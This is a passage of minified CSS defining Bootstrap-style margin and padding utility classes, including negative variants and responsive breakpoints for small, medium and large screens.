b-n-3,.my-n-3{margin-bottom:1rem!important}.ml-n-3,.mx-n-3{margin-left:1rem!important}.m-n-2{margin:.5rem!important}.mt-n-2,.my-n-2{margin-top:.5rem!important}.mr-n-2,.mx-n-2{margin-right:.5rem!important}.mb-n-2,.my-n-2{margin-bottom:.5rem!important}.ml-n-2,.mx-n-2{margin-left:.5rem!important}.m-n-1{margin:.25rem!important}.mt-n-1,.my-n-1{margin-top:.25rem!important}.mr-n-1,.mx-n-1{margin-right:.25rem!important}.mb-n-1,.my-n-1{margin-bottom:.25rem!important}.ml-n-1,.mx-n-1{margin-left:.25rem!important}.m-n6{margin:-4.5rem!important}.mt-n6,.my-n6{margin-top:-4.5rem!important}.mr-n6,.mx-n6{margin-right:-4.5rem!important}.mb-n6,.my-n6{margin-bottom:-4.5rem!important}.ml-n6,.mx-n6{margin-left:-4.5rem!important}.m-n7{margin:-6rem!important}.mt-n7,.my-n7{margin-top:-6rem!important}.mr-n7,.mx-n7{margin-right:-6rem!important}.mb-n7,.my-n7{margin-bottom:-6rem!important}.ml-n7,.mx-n7{margin-left:-6rem!important}.m-n8{margin:-8rem!important}.mt-n8,.my-n8{margin-top:-8rem!important}.mr-n8,.mx-n8{margin-right:-8rem!important}.mb-n8,.my-n8{margin-bottom:-8rem!important}.ml-n8,.mx-n8{margin-left:-8rem!important}.m-n9{margin:-10rem!important}.mt-n9,.my-n9{margin-top:-10rem!important}.mr-n9,.mx-n9{margin-right:-10rem!important}.mb-n9,.my-n9{margin-bottom:-10rem!important}.ml-n9,.mx-n9{margin-left:-10rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.m-sm--9{margin:-10rem!important}.mt-sm--9,.my-sm--9{margin-top:-10rem!important}.mr-sm--9,.mx-sm--9{margin-right:-10rem!important}.mb-sm--9,.my-sm--9{margin-bottom:-10rem!important}.ml-sm--9,.mx-sm--9{margin-left:-10rem!important}.m-sm--8{margin:-8rem!important}.mt-sm--8,.my-sm--8{margin-top:-8rem!important}.mr-sm--8,.mx-sm--8{margin-right:-8rem!important}.mb-sm--8,.my-sm--8{margin-bottom:-8rem!important}.ml-sm--8,.mx-sm--8{margin-left:-8rem!important}.m-sm--7{margin:-6rem!important}.mt-sm--7,.my-sm--7{margin-top:-6rem!important}.mr-sm--7,.mx-sm--7{margin-right:-6rem!important}.mb-sm--7,.my-sm--7{margin-bottom:-6rem!important}.ml-sm--7,.mx-sm--7{margin-left:-6rem!important}.m-sm--6{margin:-4.5rem!important}.mt-sm--6,.my-sm--6{margin-top:-4.5rem!important}.mr-sm--6,.mx-sm--6{margin-right:-4.5rem!important}.mb-sm--6,.my-sm--6{margin-bottom:-4.5rem!important}.ml-sm--6,.mx-sm--6{margin-left:-4.5rem!important}.m-sm--5{margin:-3rem!important}.mt-sm--5,.my-sm--5{margin-top:-3rem!important}.mr-sm--5,.mx-sm--5{margin-right:-3rem!important}.mb-sm--5,.my-sm--5{margin-bottom:-3rem!important}.ml-sm--5,.mx-sm--5{margin-left:-3rem!important}.m-sm--4{margin:-1.5rem!important}.mt-sm--4,.my-sm--4{margin-top:-1.5rem!important}.mr-sm--4,.mx-sm--4{margin-right:-1.5rem!important}.mb-sm--4,.my-sm--4{margin-bottom:-1.5rem!important}.ml-sm--4,.mx-sm--4{margin-left:-1.5rem!important}.m-sm--3{margin:-1rem!important}.mt-sm--3,.my-sm--3{margin-top:-1rem!important}.mr-sm--3,.mx-sm--3{margin-right:-1rem!important}.mb-sm--3,.my-sm--3{margin-bottom:-1rem!important}.ml-sm--3,.mx-sm--3{margin-left:-1rem!important}.m-sm--2{margin:-.5rem!important}.mt-sm--2,.my-sm--2{margin-top:-.5rem!important}.mr-sm--2,.mx-sm--2{margin-right:-.5rem!important}.mb-sm--2,.my-sm--2{margin-bottom:-.5rem!important}.ml-sm--2,.mx-sm--2{margin-left:-.5rem!important}.m-sm--1{margin:-.25rem!important}.mt-sm--1,.my-sm--1{margin-top:-.25rem!important}.mr-sm--1,.mx-sm--1{margin-right:-.25rem!important}.mb-sm--1,.my-sm--1{margin-bottom:-.25rem!important}.ml-sm--1,.mx-sm--1{margin-left:-.25rem!important}.m-sm-6{margin:4.5rem!important}.mt-sm-6,.my-sm-6{margin-top:4.5rem!important}.mr-sm-6,.mx-sm-6{margin-right:4.5rem!important}.mb-sm-6,.my-sm-6{margin-bottom:4.5rem!important}.ml-sm-6,.mx-sm-6{margin-left:4.5rem!important}.m-sm-7{margin:6rem!important}.mt-sm-7,.my-sm-7{margin-top:6rem!important}.mr-sm-7,.mx-sm-7{margin-right:6rem!important}.mb-sm-7,.my-sm-7{margin-bottom:6rem!important}.ml-sm-7,.mx-sm-7{margin-left:6rem!important}.m-sm-8{margin:8rem!important}.mt-sm-8,.my-sm-8{margin-top:8rem!important}.mr-sm-8,.mx-sm-8{margin-right:8rem!important}.mb-sm-8,.my-sm-8{margin-bottom:8rem!important}.ml-sm-8,.mx-sm-8{margin-left:8rem!important}.m-sm-9{margin:10rem!important}.mt-sm-9,.my-sm-9{margin-top:10rem!important}.mr-sm-9,.mx-sm-9{margin-right:10rem!important}.mb-sm-9,.my-sm-9{margin-bottom:10rem!important}.ml-sm-9,.mx-sm-9{margin-left:10rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.p-sm-6{padding:4.5rem!important}.pt-sm-6,.py-sm-6{padding-top:4.5rem!important}.pr-sm-6,.px-sm-6{padding-right:4.5rem!important}.pb-sm-6,.py-sm-6{padding-bottom:4.5rem!important}.pl-sm-6,.px-sm-6{padding-left:4.5rem!important}.p-sm-7{padding:6rem!important}.pt-sm-7,.py-sm-7{padding-top:6rem!important}.pr-sm-7,.px-sm-7{padding-right:6rem!important}.pb-sm-7,.py-sm-7{padding-bottom:6rem!important}.pl-sm-7,.px-sm-7{padding-left:6rem!important}.p-sm-8{padding:8rem!important}.pt-sm-8,.py-sm-8{padding-top:8rem!important}.pr-sm-8,.px-sm-8{padding-right:8rem!important}.pb-sm-8,.py-sm-8{padding-bottom:8rem!important}.pl-sm-8,.px-sm-8{padding-left:8rem!important}.p-sm-9{padding:10rem!important}.pt-sm-9,.py-sm-9{padding-top:10rem!important}.pr-sm-9,.px-sm-9{padding-right:10rem!important}.pb-sm-9,.py-sm-9{padding-bottom:10rem!important}.pl-sm-9,.px-sm-9{padding-left:10rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-n-9{margin:10rem!important}.mt-sm-n-9,.my-sm-n-9{margin-top:10rem!important}.mr-sm-n-9,.mx-sm-n-9{margin-right:10rem!important}.mb-sm-n-9,.my-sm-n-9{margin-bottom:10rem!important}.ml-sm-n-9,.mx-sm-n-9{margin-left:10rem!important}.m-sm-n-8{margin:8rem!important}.mt-sm-n-8,.my-sm-n-8{margin-top:8rem!important}.mr-sm-n-8,.mx-sm-n-8{margin-right:8rem!important}.mb-sm-n-8,.my-sm-n-8{margin-bottom:8rem!important}.ml-sm-n-8,.mx-sm-n-8{margin-left:8rem!important}.m-sm-n-7{margin:6rem!important}.mt-sm-n-7,.my-sm-n-7{margin-top:6rem!important}.mr-sm-n-7,.mx-sm-n-7{margin-right:6rem!important}.mb-sm-n-7,.my-sm-n-7{margin-bottom:6rem!important}.ml-sm-n-7,.mx-sm-n-7{margin-left:6rem!important}.m-sm-n-6{margin:4.5rem!important}.mt-sm-n-6,.my-sm-n-6{margin-top:4.5rem!important}.mr-sm-n-6,.mx-sm-n-6{margin-right:4.5rem!important}.mb-sm-n-6,.my-sm-n-6{margin-bottom:4.5rem!important}.ml-sm-n-6,.mx-sm-n-6{margin-left:4.5rem!important}.m-sm-n-5{margin:3rem!important}.mt-sm-n-5,.my-sm-n-5{margin-top:3rem!important}.mr-sm-n-5,.mx-sm-n-5{margin-right:3rem!important}.mb-sm-n-5,.my-sm-n-5{margin-bottom:3rem!important}.ml-sm-n-5,.mx-sm-n-5{margin-left:3rem!important}.m-sm-n-4{margin:1.5rem!important}.mt-sm-n-4,.my-sm-n-4{margin-top:1.5rem!important}.mr-sm-n-4,.mx-sm-n-4{margin-right:1.5rem!important}.mb-sm-n-4,.my-sm-n-4{margin-bottom:1.5rem!important}.ml-sm-n-4,.mx-sm-n-4{margin-left:1.5rem!important}.m-sm-n-3{margin:1rem!important}.mt-sm-n-3,.my-sm-n-3{margin-top:1rem!important}.mr-sm-n-3,.mx-sm-n-3{margin-right:1rem!important}.mb-sm-n-3,.my-sm-n-3{margin-bottom:1rem!important}.ml-sm-n-3,.mx-sm-n-3{margin-left:1rem!important}.m-sm-n-2{margin:.5rem!important}.mt-sm-n-2,.my-sm-n-2{margin-top:.5rem!important}.mr-sm-n-2,.mx-sm-n-2{margin-right:.5rem!important}.mb-sm-n-2,.my-sm-n-2{margin-bottom:.5rem!important}.ml-sm-n-2,.mx-sm-n-2{margin-left:.5rem!important}.m-sm-n-1{margin:.25rem!important}.mt-sm-n-1,.my-sm-n-1{margin-top:.25rem!important}.mr-sm-n-1,.mx-sm-n-1{margin-right:.25rem!important}.mb-sm-n-1,.my-sm-n-1{margin-bottom:.25rem!important}.ml-sm-n-1,.mx-sm-n-1{margin-left:.25rem!important}.m-sm-n6{margin:-4.5rem!important}.mt-sm-n6,.my-sm-n6{margin-top:-4.5rem!important}.mr-sm-n6,.mx-sm-n6{margin-right:-4.5rem!important}.mb-sm-n6,.my-sm-n6{margin-bottom:-4.5rem!important}.ml-sm-n6,.mx-sm-n6{margin-left:-4.5rem!important}.m-sm-n7{margin:-6rem!important}.mt-sm-n7,.my-sm-n7{margin-top:-6rem!important}.mr-sm-n7,.mx-sm-n7{margin-right:-6rem!important}.mb-sm-n7,.my-sm-n7{margin-bottom:-6rem!important}.ml-sm-n7,.mx-sm-n7{margin-left:-6rem!important}.m-sm-n8{margin:-8rem!important}.mt-sm-n8,.my-sm-n8{margin-top:-8rem!important}.mr-sm-n8,.mx-sm-n8{margin-right:-8rem!important}.mb-sm-n8,.my-sm-n8{margin-bottom:-8rem!important}.ml-sm-n8,.mx-sm-n8{margin-left:-8rem!important}.m-sm-n9{margin:-10rem!important}.mt-sm-n9,.my-sm-n9{margin-top:-10rem!important}.mr-sm-n9,.mx-sm-n9{margin-right:-10rem!important}.mb-sm-n9,.my-sm-n9{margin-bottom:-10rem!important}.ml-sm-n9,.mx-sm-n9{margin-left:-10rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.m-md--9{margin:-10rem!important}.mt-md--9,.my-md--9{margin-top:-10rem!important}.mr-md--9,.mx-md--9{margin-right:-10rem!important}.mb-md--9,.my-md--9{margin-bottom:-10rem!important}.ml-md--9,.mx-md--9{margin-left:-10rem!important}.m-md--8{margin:-8rem!important}.mt-md--8,.my-md--8{margin-top:-8rem!important}.mr-md--8,.mx-md--8{margin-right:-8rem!important}.mb-md--8,.my-md--8{margin-bottom:-8rem!important}.ml-md--8,.mx-md--8{margin-left:-8rem!important}.m-md--7{margin:-6rem!important}.mt-md--7,.my-md--7{margin-top:-6rem!important}.mr-md--7,.mx-md--7{margin-right:-6rem!important}.mb-md--7,.my-md--7{margin-bottom:-6rem!important}.ml-md--7,.mx-md--7{margin-left:-6rem!important}.m-md--6{margin:-4.5rem!important}.mt-md--6,.my-md--6{margin-top:-4.5rem!important}.mr-md--6,.mx-md--6{margin-right:-4.5rem!important}.mb-md--6,.my-md--6{margin-bottom:-4.5rem!important}.ml-md--6,.mx-md--6{margin-left:-4.5rem!important}.m-md--5{margin:-3rem!important}.mt-md--5,.my-md--5{margin-top:-3rem!important}.mr-md--5,.mx-md--5{margin-right:-3rem!important}.mb-md--5,.my-md--5{margin-bottom:-3rem!important}.ml-md--5,.mx-md--5{margin-left:-3rem!important}.m-md--4{margin:-1.5rem!important}.mt-md--4,.my-md--4{margin-top:-1.5rem!important}.mr-md--4,.mx-md--4{margin-right:-1.5rem!important}.mb-md--4,.my-md--4{margin-bottom:-1.5rem!important}.ml-md--4,.mx-md--4{margin-left:-1.5rem!important}.m-md--3{margin:-1rem!important}.mt-md--3,.my-md--3{margin-top:-1rem!important}.mr-md--3,.mx-md--3{margin-right:-1rem!important}.mb-md--3,.my-md--3{margin-bottom:-1rem!important}.ml-md--3,.mx-md--3{margin-left:-1rem!important}.m-md--2{margin:-.5rem!important}.mt-md--2,.my-md--2{margin-top:-.5rem!important}.mr-md--2,.mx-md--2{margin-right:-.5rem!important}.mb-md--2,.my-md--2{margin-bottom:-.5rem!important}.ml-md--2,.mx-md--2{margin-left:-.5rem!important}.m-md--1{margin:-.25rem!important}.mt-md--1,.my-md--1{margin-top:-.25rem!important}.mr-md--1,.mx-md--1{margin-right:-.25rem!important}.mb-md--1,.my-md--1{margin-bottom:-.25rem!important}.ml-md--1,.mx-md--1{margin-left:-.25rem!important}.m-md-6{margin:4.5rem!important}.mt-md-6,.my-md-6{margin-top:4.5rem!important}.mr-md-6,.mx-md-6{margin-right:4.5rem!important}.mb-md-6,.my-md-6{margin-bottom:4.5rem!important}.ml-md-6,.mx-md-6{margin-left:4.5rem!important}.m-md-7{margin:6rem!important}.mt-md-7,.my-md-7{margin-top:6rem!important}.mr-md-7,.mx-md-7{margin-right:6rem!important}.mb-md-7,.my-md-7{margin-bottom:6rem!important}.ml-md-7,.mx-md-7{margin-left:6rem!important}.m-md-8{margin:8rem!important}.mt-md-8,.my-md-8{margin-top:8rem!important}.mr-md-8,.mx-md-8{margin-right:8rem!important}.mb-md-8,.my-md-8{margin-bottom:8rem!important}.ml-md-8,.mx-md-8{margin-left:8rem!important}.m-md-9{margin:10rem!important}.mt-md-9,.my-md-9{margin-top:10rem!important}.mr-md-9,.mx-md-9{margin-right:10rem!important}.mb-md-9,.my-md-9{margin-bottom:10rem!important}.ml-md-9,.mx-md-9{margin-left:10rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.p-md-6{padding:4.5rem!important}.pt-md-6,.py-md-6{padding-top:4.5rem!important}.pr-md-6,.px-md-6{padding-right:4.5rem!important}.pb-md-6,.py-md-6{padding-bottom:4.5rem!important}.pl-md-6,.px-md-6{padding-left:4.5rem!important}.p-md-7{padding:6rem!important}.pt-md-7,.py-md-7{padding-top:6rem!important}.pr-md-7,.px-md-7{padding-right:6rem!important}.pb-md-7,.py-md-7{padding-bottom:6rem!important}.pl-md-7,.px-md-7{padding-left:6rem!important}.p-md-8{padding:8rem!important}.pt-md-8,.py-md-8{padding-top:8rem!important}.pr-md-8,.px-md-8{padding-right:8rem!important}.pb-md-8,.py-md-8{padding-bottom:8rem!important}.pl-md-8,.px-md-8{padding-left:8rem!important}.p-md-9{padding:10rem!important}.pt-md-9,.py-md-9{padding-top:10rem!important}.pr-md-9,.px-md-9{padding-right:10rem!important}.pb-md-9,.py-md-9{padding-bottom:10rem!important}.pl-md-9,.px-md-9{padding-left:10rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-n-9{margin:10rem!important}.mt-md-n-9,.my-md-n-9{margin-top:10rem!important}.mr-md-n-9,.mx-md-n-9{margin-right:10rem!important}.mb-md-n-9,.my-md-n-9{margin-bottom:10rem!important}.ml-md-n-9,.mx-md-n-9{margin-left:10rem!important}.m-md-n-8{margin:8rem!important}.mt-md-n-8,.my-md-n-8{margin-top:8rem!important}.mr-md-n-8,.mx-md-n-8{margin-right:8rem!important}.mb-md-n-8,.my-md-n-8{margin-bottom:8rem!important}.ml-md-n-8,.mx-md-n-8{margin-left:8rem!important}.m-md-n-7{margin:6rem!important}.mt-md-n-7,.my-md-n-7{margin-top:6rem!important}.mr-md-n-7,.mx-md-n-7{margin-right:6rem!important}.mb-md-n-7,.my-md-n-7{margin-bottom:6rem!important}.ml-md-n-7,.mx-md-n-7{margin-left:6rem!important}.m-md-n-6{margin:4.5rem!important}.mt-md-n-6,.my-md-n-6{margin-top:4.5rem!important}.mr-md-n-6,.mx-md-n-6{margin-right:4.5rem!important}.mb-md-n-6,.my-md-n-6{margin-bottom:4.5rem!important}.ml-md-n-6,.mx-md-n-6{margin-left:4.5rem!important}.m-md-n-5{margin:3rem!important}.mt-md-n-5,.my-md-n-5{margin-top:3rem!important}.mr-md-n-5,.mx-md-n-5{margin-right:3rem!important}.mb-md-n-5,.my-md-n-5{margin-bottom:3rem!important}.ml-md-n-5,.mx-md-n-5{margin-left:3rem!important}.m-md-n-4{margin:1.5rem!important}.mt-md-n-4,.my-md-n-4{margin-top:1.5rem!important}.mr-md-n-4,.mx-md-n-4{margin-right:1.5rem!important}.mb-md-n-4,.my-md-n-4{margin-bottom:1.5rem!important}.ml-md-n-4,.mx-md-n-4{margin-left:1.5rem!important}.m-md-n-3{margin:1rem!important}.mt-md-n-3,.my-md-n-3{margin-top:1rem!important}.mr-md-n-3,.mx-md-n-3{margin-right:1rem!important}.mb-md-n-3,.my-md-n-3{margin-bottom:1rem!important}.ml-md-n-3,.mx-md-n-3{margin-left:1rem!important}.m-md-n-2{margin:.5rem!important}.mt-md-n-2,.my-md-n-2{margin-top:.5rem!important}.mr-md-n-2,.mx-md-n-2{margin-right:.5rem!important}.mb-md-n-2,.my-md-n-2{margin-bottom:.5rem!important}.ml-md-n-2,.mx-md-n-2{margin-left:.5rem!important}.m-md-n-1{margin:.25rem!important}.mt-md-n-1,.my-md-n-1{margin-top:.25rem!important}.mr-md-n-1,.mx-md-n-1{margin-right:.25rem!important}.mb-md-n-1,.my-md-n-1{margin-bottom:.25rem!important}.ml-md-n-1,.mx-md-n-1{margin-left:.25rem!important}.m-md-n6{margin:-4.5rem!important}.mt-md-n6,.my-md-n6{margin-top:-4.5rem!important}.mr-md-n6,.mx-md-n6{margin-right:-4.5rem!important}.mb-md-n6,.my-md-n6{margin-bottom:-4.5rem!important}.ml-md-n6,.mx-md-n6{margin-left:-4.5rem!important}.m-md-n7{margin:-6rem!important}.mt-md-n7,.my-md-n7{margin-top:-6rem!important}.mr-md-n7,.mx-md-n7{margin-right:-6rem!important}.mb-md-n7,.my-md-n7{margin-bottom:-6rem!important}.ml-md-n7,.mx-md-n7{margin-left:-6rem!important}.m-md-n8{margin:-8rem!important}.mt-md-n8,.my-md-n8{margin-top:-8rem!important}.mr-md-n8,.mx-md-n8{margin-right:-8rem!important}.mb-md-n8,.my-md-n8{margin-bottom:-8rem!important}.ml-md-n8,.mx-md-n8{margin-left:-8rem!important}.m-md-n9{margin:-10rem!important}.mt-md-n9,.my-md-n9{margin-top:-10rem!important}.mr-md-n9,.mx-md-n9{margin-right:-10rem!important}.mb-md-n9,.my-md-n9{margin-bottom:-10rem!important}.ml-md-n9,.mx-md-n9{margin-left:-10rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.m-lg--9{margin:-10rem!important}.